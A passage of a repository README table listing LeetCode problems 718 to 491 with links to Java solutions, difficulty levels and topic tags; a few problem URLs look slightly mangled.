Subarray](https://leetcode.com/problems/maximum-length-of-repeated-subarray/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_718.java) | | Medium | DP | 717 |[1-bit and 2-bit Characters](https://leetcode.com/problems/1-bit-and-2-bit-characters/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_717.java) | | Easy | | 716 |[Max Stack](https://leetcode.com/problems/max-stack/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_716.java) | | Hard | Design | 714 |[Best Time to Buy and Sell Stock with Transaction Fee](https://leetcode.com/problems/best-time-to-buy-and-sell-stock-with-transaction-fee/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_714.java) | | Medium | DP | 713 |[Subarray Product Less Than K](https://leetcode.com/problems/subarray-product-less-than-k/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_713.java) || Medium | | 712 |[Minimum ASCII Delete Sum for Two Strings](https://leetcode.com/problems/minimum-ascii-delete-sum-for-two-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_712.java) | | Medium | DP | 709 |[To Lower Case](https://leetcode.com/problems/to-lower-case/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_709.java) | | Easy | String | 706 |[Design HashMap](https://leetcode.com/problems/design-hashmap/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_706.java) | | Easy | Design | 705 |[Design HashSet](https://leetcode.com/problems/design-hashset/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_705.java) | | Easy | Design | 704 |[Binary Search](https://leetcode.com/problems/binary-search/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_704.java) | [:tv:](https://youtu.be/eHVe_uyXeWg) | Easy | Binary Search | 703 |[Kth Largest Element in a Stream](https://leetcode.com/problems/kth-largest-element-in-a-stream/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_703.java) | | Easy | | 701 |[Insert into a Binary Search Tree](https://leetcode.com/problems/insert-into-a-binary-search-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_701.java) | | Medium | DFS, recursion | 700 |[Search in a Binary Search Tree](https://leetcode.com/problems/search-in-a-binary-search-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_700.java) | | Easy | recusion, dfs | 699 |[Falling Squares](https://leetcode.com/problems/falling-squares/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_699.java) || Hard | Segment Tree | 698 |[Partition to K Equal Sum Subsets](https://leetcode.com/problems/partition-to-k-equal-sum-subsets/)| [Java](../master/src/main/java/com/fishercoder/solutions/_698.java), [C++](../master/cpp/_698.cpp) | | Medium | Backtracking + DP | 697 |[Degree of an Array](https://leetcode.com/problems/degree-of-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_697.java) || Easy | | 696 |[Count Binary Substrings](https://leetcode.com/problems/count-binary-substrings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_696.java) | | Easy | | 695 |[Max Area of Island](https://leetcode.com/problems/max-area-of-island/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_695.java) | | Medium | DFS, FBS, Union Find, Matrix | 694 |[Number of Distinct Islands](https://leetcode.com/problems/number-of-distinct-islands/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_694.java) | | Medium | DFS | 693 |[Binary Number with Alternating Bits](https://leetcode.com/problems/binary-number-with-alternating-bits/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_693.java) | | Easy | | 692 |[Top K Frequent Words](https://leetcode.com/problems/top-k-frequent-words/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_692.java) | | Medium | | 691 |[Stickers to Spell Word](https://leetcode.com/problems/stickers-to-spell-word/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_691.java) | | Hard | DP | 690 |[Employee Importance](https://leetcode.com/problems/employee-importance/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_690.java) | | Easy | DFS | 689 |[Maximum Sum of 3 Non-Overlapping Subarrays](https://leetcode.com/problems/maximum-sum-of-3-non-overlapping-subarrays/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_689.java) | | Hard | DP | 688 |[Knight Probability in Chessboard](https://leetcode.com/problems/knight-probability-in-chessboard/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_688.java) | | Medium | DP | 687 |[Longest Univalue Path](https://leetcode.com/problems/longest-univalue-path/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_687.java) | | Easy | DFS | 686 |[Repeated String Match](https://leetcode.com/problems/repeated-string-match/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_686.java) | | Easy | | 685 |[Redundant Connection II](https://leetcode.com/problems/redundant-connection-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_685.java) | | Hard | Union Find | 684 |[Redundant Connection](https://leetcode.com/problems/redundant-connection/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_684.java) | | Medium | Union Find | 683 |[K Empty Slots](https://leetcode.com/problems/k-empty-slots/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_683.java) | | Hard | | 682 |[Baseball Game](https://leetcode.com/problems/baseball-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_682.java) | | Easy | | 681 |[Next Closest Time](https://leetcode.com/problems/parents-closest-time/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_681.java) | | Medium | | 680 |[Valid Palindrome II](https://leetcode.com/problems/valid-palindrome-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_680.java) | | Easy | String | 679 |[24 Game](https://leetcode.com/problems/24-game/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_679.java) | | Hard | Recursion | 678 |[Valid Parenthesis String](https://leetcode.com/problems/valid-parenthesis-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_678.java) | | Medium | Recursion, Greedy | 677 |[Map Sum Pairs](https://leetcode.com/problems/map-sum-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_677.java) | | Medium | HashMap, Trie | 676 |[Implement Magic Dictionary](https://leetcode.com/problems/implement-magic-dictionary/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_676.java) | | Medium | | 675 |[Cut Off Trees for Golf Event](https://leetcode.com/problems/cut-off-trees-for-golf-event/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_675.java) | | Hard | BFS | 674 |[Longest Continuous Increasing Subsequence](https://leetcode.com/problems/longest-continuous-increasing-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_674.java) | | Easy | | 673 |[Number of Longest Increasing Subsequence](https://leetcode.com/problems/number-of-longest-increasing-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_673.java) | | Medium | DP | 672 |[Bulb Switcher II](https://leetcode.com/problems/bulb-switcher-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_672.java) | | Medium | Math | 671 |[Second Minimum Node In a Binary Tree](https://leetcode.com/problems/second-minimum-node-in-a-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_671.java) | | Easy | Tree, DFS | 670 |[Maximum Swap](https://leetcode.com/problems/maximum-swap/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_670.java) | | Medium | String | 669 |[Trim a Binary Search Tree](https://leetcode.com/problems/trim-a-binary-search-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_669.java) | | Easy | Tree, DFS | 668 |[Kth Smallest Number in Multiplication Table](https://leetcode.com/problems/kth-smallest-number-in-multiplication-table/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_668.java) | | Hard | Binary Search | 667 |[Beautiful Arrangement II](https://leetcode.com/problems/beautiful-arrangement-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_667.java) | | Medium | Array | 666 |[Path Sum IV](https://leetcode.com/problems/path-sum-iv/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_666.java) | | Medium | Tree, DFS | 665 |[Non-decreasing Array](https://leetcode.com/problems/non-decreasing-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_665.java) | | Easy | | 664 |[Strange Printer](https://leetcode.com/problems/strange-printer/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_664.java) | | Hard | DP | 663 |[Equal Tree Partition](https://leetcode.com/problems/equal-tree-partition/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_663.java) | | Medium | Tree | 662 |[Maximum Width of Binary Tree](https://leetcode.com/problems/maximum-width-of-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_662.java) | | Medium | BFS, DFS | 661 |[Image Smoother](https://leetcode.com/problems/image-smoother/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_661.java) | | Easy | Array | 660 |[Remove 9](https://leetcode.com/problems/remove-9/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_660.java) | | Hard | Math | 659 |[Split Array into Consecutive Subsequences](https://leetcode.com/problems/split-array-into-consecutive-subsequences/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_659.java) | | Medium | HashMap | 658 |[Find K Closest Elements](https://leetcode.com/problems/find-k-closest-elements/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_658.java) | | Medium | | 657 |[Judge Route Circle](https://leetcode.com/problems/judge-route-circle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_657.java) | | Easy | | 656 |[Coin Path](https://leetcode.com/problems/coin-path/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_656.java) | | Hard | DP | 655 |[Print Binary Tree](https://leetcode.com/problems/print-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_655.java) | | Medium | Recursion | 654 |[Maximum Binary Tree](https://leetcode.com/problems/maximum-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_654.java) | | Medium | Tree | 653 |[Two Sum IV - Input is a BST](https://leetcode.com/problems/two-sum-iv-input-is-a-bst/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_653.java) | | Easy | Tree | 652 |[Find Duplicate Subtrees](https://leetcode.com/problems/find-duplicate-subtrees/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_652.java) | | Medium | Tree | 651 |[4 Keys Keyboard](https://leetcode.com/problems/4-keys-keyboard/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_651.java) | | Medium | DP | 650 |[2 Keys Keyboard](https://leetcode.com/problems/2-keys-keyboard/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_650.java) | | Medium | DP | 649 |[Dota2 Senate](https://leetcode.com/problems/dota2-senate/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_649.java) | | Medium | Greedy | 648 |[Replace Words](https://leetcode.com/problems/replace-words/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_648.java) | | Medium | Trie | 647 |[Palindromic Substrings](https://leetcode.com/problems/palindromic-substrings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_647.java) | | Medium | DP | 646 |[Maximum Length of Pair Chain](https://leetcode.com/problems/maximum-length-of-pair-chain/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_646.java) | | Medium | DP, Greedy | 645 |[Set Mismatch](https://leetcode.com/problems/set-mismatch/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_645.java) | | Easy | | 644 |[Maximum Average Subarray II](https://leetcode.com/problems/maximum-average-subarray-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_644.java) | | Hard | Binary Search | 643 |[Maximum Average Subarray I](https://leetcode.com/problems/maximum-average-subarray-i/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_643.java) | | Easy | | 642 |[Design Search Autocomplete System](https://leetcode.com/problems/design-search-autocomplete-system/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_642.java) | | Hard | Design | 640 |[Solve the Equation](https://leetcode.com/problems/solve-the-equation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_640.java) | | Medium | | 639 |[Decode Ways II](https://leetcode.com/problems/decode-ways-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_639.java) | | Hard | DP | 638 |[Shopping Offers](https://leetcode.com/problems/shopping-offers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_638.java) | | Medium | DP, DFS | 637 |[Average of Levels in Binary Tree](https://leetcode.com/problems/average-of-levels-in-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_637.java) | | Easy | | 636 |[Exclusive Time of Functions](https://leetcode.com/problems/exclusive-time-of-functions/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_636.java) | | Medium | Stack | 635 |[Design Log Storage System](https://leetcode.com/problems/design-log-storage-system/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_635.java) | | Medium | Design | 634 |[Find the Derangement of An Array](https://leetcode.com/problems/find-the-derangement-of-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_634.java) | | Medium | Math | 633 |[Sum of Square Numbers](https://leetcode.com/problems/sum-of-square-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_633.java) | | Easy | Binary Search | 632 |[Smallest Range](https://leetcode.com/problems/smallest-range/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_632.java) | | Hard | Heap | 631 |[Design Excel Sum Formula](https://leetcode.com/problems/design-excel-sum-formula/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_631.java) | | Hard | Design, Topological Sort | 630 |[Course Schedule III](https://leetcode.com/problems/course-schedule-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_630.java) | | Hard | Heap, Greedy | 629 |[K Inverse Pairs Array](https://leetcode.com/problems/k-inverse-pairs-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_629.java) | | Hard | DP | 628 |[Maximum Product of Three Numbers](https://leetcode.com/problems/maximum-product-of-three-numbers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_628.java) | | Easy | | 625 |[Minimum Factorization](https://leetcode.com/problems/minimum-factorization/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_625.java) | | Medium | | 624 |[Maximum Distance in Arrays](https://leetcode.com/problems/maximum-distance-in-arrays/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_624.java) | | Easy | Sort, Array | 623 |[Add One Row to Tree](https://leetcode.com/problems/add-one-row-to-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_623.java) | | Medium | Tree | 622 |[Design Circular Queue](https://leetcode.com/problems/design-circular-queue/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_622.java) | | Medium | Design, Queue | 621 |[Task Scheduler](https://leetcode.com/problems/task-scheduler/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_621.java) | | Medium | Greedy, Queue | 617 |[Merge Two Binary Trees](https://leetcode.com/problems/merge-two-binary-trees/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_617.java) | | Easy | Tree, Recursion | 616 |[Add Bold Tag in String](https://leetcode.com/problems/add-bold-tag-in-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_616.java) | | Medium | String | 611 |[Valid Triangle Number](https://leetcode.com/problems/valid-triangle-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_611.java) | | Medium | Binary Search | 609 |[Find Duplicate File in System](https://leetcode.com/problems/find-duplicate-file-in-system/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_609.java) | | Medium | HashMap | 606 |[Construct String from Binary Tree](https://leetcode.com/problems/construct-string-from-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_606.java) | | Easy | Tree, Recursion | 605 |[Can Place Flowers](https://leetcode.com/problems/can-place-flowers/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_605.java) | | Easy | Array | 604 |[Design Compressed String Iterator](https://leetcode.com/problems/design-compressed-string-iterator/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_604.java) | | Easy | Design, String | 600 |[Non-negative Integers without Consecutive Ones](https://leetcode.com/problems/non-negative-integers-without-consecutive-ones/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_600.java) | | Hard | Bit Manipulation, DP | 599 |[Minimum Index Sum of Two Lists](https://leetcode.com/problems/minimum-index-sum-of-two-lists/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_599.java) | | Easy | HashMap | 598 |[Range Addition II](https://leetcode.com/problems/range-addition-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_598.java) | | Easy | | 594 |[Longest Harmonious Subsequence](https://leetcode.com/problems/longest-harmonious-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_594.java) | | Easy | Array, HashMap | 593 |[Valid Square](https://leetcode.com/problems/valid-square/)| [Java](../master/src/main/java/com/fishercoder/solutions/_593.java), [Javascript](./javascript/_593.js) | | Medium | Math | 592 |[Fraction Addition and Subtraction](https://leetcode.com/problems/fraction-addition-and-subtraction/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_592.java) | | Medium | Math | 591 |[Tag Validator](https://leetcode.com/problems/tag-validator/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_591.java) | | Hard | Stack, String | 590 |[N-ary Tree Postorder Traversal](https://leetcode.com/problems/n-ary-tree-postorder-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_590.java) | | Easy | DFS, recursion | 589 |[N-ary Tree Preorder Traversal](https://leetcode.com/problems/n-ary-tree-preorder-traversal/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_589.java) | | Easy | DFS, recursion | 588 |[Design In-Memory File System](https://leetcode.com/problems/design-in-memory-file-system/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_588.java) | | Hard | Trie, Design | 587 |[Erect the Fence](https://leetcode.com/problems/erect-the-fence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_587.java) | | Hard | Geometry | 583 |[Delete Operation for Two Strings](https://leetcode.com/problems/delete-operation-for-two-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_583.java) | | Medium | DP | 582 |[Kill Process](https://leetcode.com/problems/kill-process/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_582.java) | | Medium | Stack | 581 |[Shortest Unsorted Continuous Subarray](https://leetcode.com/problems/shortest-unsorted-continuous-subarray/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_581.java) | | Easy | Array, Sort | 576 |[Out of Boundary Paths](https://leetcode.com/problems/out-of-boundary-paths/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_576.java) | | Hard | DP, DFS | 575 |[Distribute Candies](https://leetcode.com/problems/distribute-candies/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_575.java) | | Easy | Array | 573 |[Squirrel Simulation](https://leetcode.com/problems/squirrel-simulation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_573.java) | | Medium | Math | 572 |[Subtree of Another Tree](https://leetcode.com/problems/subtree-of-another-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_572.java) | | Easy | Tree | 568 |[Maximum Vacation Days](https://leetcode.com/problems/maximum-vacation-days/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_568.java) | | Hard | DP | 567 |[Permutation in String](https://leetcode.com/problems/permutation-in-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_567.java) | | Medium | Sliding Windows, Two Pointers | 566 |[Reshape the Matrix](https://leetcode.com/problems/reshape-the-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_566.java) | | Easy | | 565 |[Array Nesting](https://leetcode.com/problems/array-nesting/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_565.java) | | Medium | | 563 |[Binary Tree Tilt](https://leetcode.com/problems/binary-tree-tilt/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_563.java) | | Easy | Tree Recursion | 562 |[Longest Line of Consecutive One in Matrix](https://leetcode.com/problems/longest-line-of-consecutive-one-in-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_562.java) | | Medium | Matrix DP | 561 |[Array Partition I](https://leetcode.com/problems/array-partition-i/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_561.java) | | Easy | Array | 560 |[Subarray Sum Equals K](https://leetcode.com/problems/subarray-sum-equals-k/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_560.java) || Medium | Array, HashMap | 559 |[Maximum Depth of N-ary Tree](https://leetcode.com/problems/maximum-depth-of-n-ary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_559.java) | | Easy | DFS, recursion | 557 |[Reverse Words in a String III](https://leetcode.com/problems/reverse-words-in-a-string-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_557.java) | | Easy | String | 556 |[Next Greater Element III](https://leetcode.com/problems/parents-greater-element-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_556.java) | | Medium | String | 555 |[Split Concatenated Strings](https://leetcode.com/problems/split-concatenated-strings/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_555.java) | | Medium | String | 554 |[Brick Wall](https://leetcode.com/problems/brick-wall/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_554.java) | | Medium | HashMap | 553 |[Optimal Division](https://leetcode.com/problems/optimal-division/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_553.java) | | Medium | String, Math | 552 |[Student Attendance Record II](https://leetcode.com/problems/student-attendance-record-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_552.java) | | Hard | DP | 551 |[Student Attendance Record I](https://leetcode.com/problems/student-attendance-record-i/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_551.java) | | Easy | String | 549 |[Binary Tree Longest Consecutive Sequence II](https://leetcode.com/problems/binary-tree-longest-consecutive-sequence-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_549.java) | | Medium | Tree | 548 |[Split Array with Equal Sum](https://leetcode.com/problems/split-array-with-equal-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_548.java) | | Medium | Array | 547 |[Friend Circles](https://leetcode.com/problems/friend-circles/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_547.java) | | Medium | Union Find | 546 |[Remove Boxes](https://leetcode.com/problems/remove-boxes/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_546.java) | | Hard | DFS, DP | 545 |[Boundary of Binary Tree](https://leetcode.com/problems/boundary-of-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_545.java) | | Medium | Recursion | 544 |[Output Contest Matches](https://leetcode.com/problems/output-a824-matches/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_544.java) | | Medium | Recursion | 543 |[Diameter of Binary Tree](https://leetcode.com/problems/diameter-of-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_543.java) | | Easy | Tree/DFS/Recursion | 542 |[01 Matrix](https://leetcode.com/problems/01-matrix/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_542.java) | | Medium | BFS | 541 |[Reverse String II](https://leetcode.com/problems/reverse-string-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_541.java) | | Easy | String | 540 |[Single Element in a Sorted Array](https://leetcode.com/problems/single-element-in-a-sorted-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_540.java) | | Medium | Array, Binary Search | 539 |[Minimum Time Difference](https://leetcode.com/problems/minimum-time-difference/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_539.java) | | Medium | String | 538 |[Convert BST to Greater Tree](https://leetcode.com/problems/convert-bst-to-greater-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_538.java) | | Easy | Tree | 537 |[Complex Number Multiplication](https://leetcode.com/problems/complex-number-multiplication/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_537.java) | | Medium | Math, String | 536 |[Construct Binary Tree from String](https://leetcode.com/problems/construct-binary-tree-from-string/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_536.java) | | Medium | Recursion, Stack | 535 |[Encode and Decode TinyURL](https://leetcode.com/problems/encode-and-decode-tinyurl/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_535.java) | | Medium | Design | 533 |[Lonely Pixel II](https://leetcode.com/problems/lonely-pixel-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_533.java) | | Medium | HashMap | 532 |[K-diff Pairs in an Array](https://leetcode.com/problems/k-diff-pairs-in-an-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_532.java) | | Easy | HashMap | 531 |[Lonely Pixel I](https://leetcode.com/problems/lonely-pixel-i/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_531.java) | | Medium | | 530 |[Minimum Absolute Difference in BST](https://leetcode.com/problems/minimum-absolute-difference-in-bst/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_530.java) | | Easy | DFS | 529 |[Minesweeper](https://leetcode.com/problems/minesweeper/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_529.java) | | Medium | BFS | 528 |[Random Pick with Weight](https://leetcode.com/problems/random-pick-with-weight/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_528.java) | | Medium | Math, Binary Search, Prefix Sum, Randomized | 527 |[Word Abbreviation](https://leetcode.com/problems/word-abbreviation/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_527.java) | | Hard | | 526 |[Beautiful Arrangement](https://leetcode.com/problems/beautiful-arrangement/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_526.java) | | Medium | Backtracking | 525 |[Contiguous Array](https://leetcode.com/problems/contiguous-array/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_525.java) | | Medium | HashMap | 524 |[Longest Word in Dictionary through Deleting](https://leetcode.com/problems/longest-word-in-dictionary-through-deleting/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_524.java) | | Medium | Sort | 523 |[Continuous Subarray Sum](https://leetcode.com/problems/continuous-subarray-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_523.java) | | Medium | DP | 522 |[Longest Uncommon Subsequence II](https://leetcode.com/problems/longest-uncommon-subsequence-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_522.java) | | Medium | | 521 |[Longest Uncommon Subsequence I](https://leetcode.com/problems/longest-uncommon-subsequence-i/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_521.java) | | Easy | | 520 |[Detect Capital](https://leetcode.com/problems/detect-capital/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_520.java) | | Easy | | 518 |[Coin Change 2](https://leetcode.com/problems/coin-change-2/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_518.java) | | Medium | Array, DP | 517 |[Super Washing Machines](https://leetcode.com/problems/super-washing-machines/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_517.java) | | Hard | DP | 516 |[Longest Palindromic Subsequence](https://leetcode.com/problems/longest-palindromic-subsequence/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_516.java) | | Medium | DP | 515 |[Find Largest Value in Each Tree Row](https://leetcode.com/problems/find-largest-value-in-each-tree-row/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_515.java) | | Medium | BFS | 514 |[Freedom Trail](https://leetcode.com/problems/freedom-trail/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_514.java) | | Hard | DP | 513 |[Find Bottom Left Tree Value](https://leetcode.com/problems/find-bottom-left-tree-value/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_513.java) || Medium | BFS | 509 |[Fibonacci Number](https://leetcode.com/problems/fibonacci-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_509.java) | [:tv:](https://www.youtube.com/watch?v=WPBTYmvcHXs) | Easy | Array | 508 |[Most Frequent Subtree Sum](https://leetcode.com/problems/most-frequent-subtree-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_508.java) || Medium | DFS, Tree | 507 |[Perfect Number](https://leetcode.com/problems/perfect-number/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_507.java) | | Easy | Math | 506 |[Relative Ranks](https://leetcode.com/problems/relative-ranks/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_506.java) | | Easy | | 505 |[The Maze II](https://leetcode.com/problems/the-maze-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_505.java) | | Medium | BFS | 504 |[Base 7](https://leetcode.com/problems/base-7/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_504.java) | | Easy | | 503 |[Next Greater Element II](https://leetcode.com/problems/parents-greater-element-ii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_503.java) | | Medium | Stack | 502 |[IPO](https://leetcode.com/problems/ipo/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_502.java) | | Hard | Heap, Greedy | 501 |[Find Mode in Binary Tree](https://leetcode.com/problems/find-mode-in-binary-tree/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_501.java) | | Easy | Binary Tree | 500 |[Keyboard Row](https://leetcode.com/problems/keyboard-row/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_500.java) | | Easy | | 499 |[The Maze III](https://leetcode.com/problems/the-maze-iii/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_499.java) | | Hard | BFS | 496 |[Next Greater Element I](https://leetcode.com/problems/parents-greater-element-i/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_496.java) | | Easy | | 498 |[Diagonal Traverse](https://leetcode.com/problems/diagonal-traverse/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_498.java) | | Medium | | 495 |[Teemo Attacking](https://leetcode.com/problems/teemo-attacking/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_495.java) | | Medium | Array | 494 |[Target Sum](https://leetcode.com/problems/target-sum/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_494.java) | | Medium | | 493 |[Reverse Pairs](https://leetcode.com/problems/reverse-pairs/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_493.java) | | Hard | Recursion | 492 |[Construct the Rectangle](https://leetcode.com/problems/construct-the-rectangle/)| [Solution](../master/src/main/java/com/fishercoder/solutions/_492.java) | | Easy | Array | 491 |[Increasing Subsequences](https://leetcode.com/problems/increasing-subsequences/)| 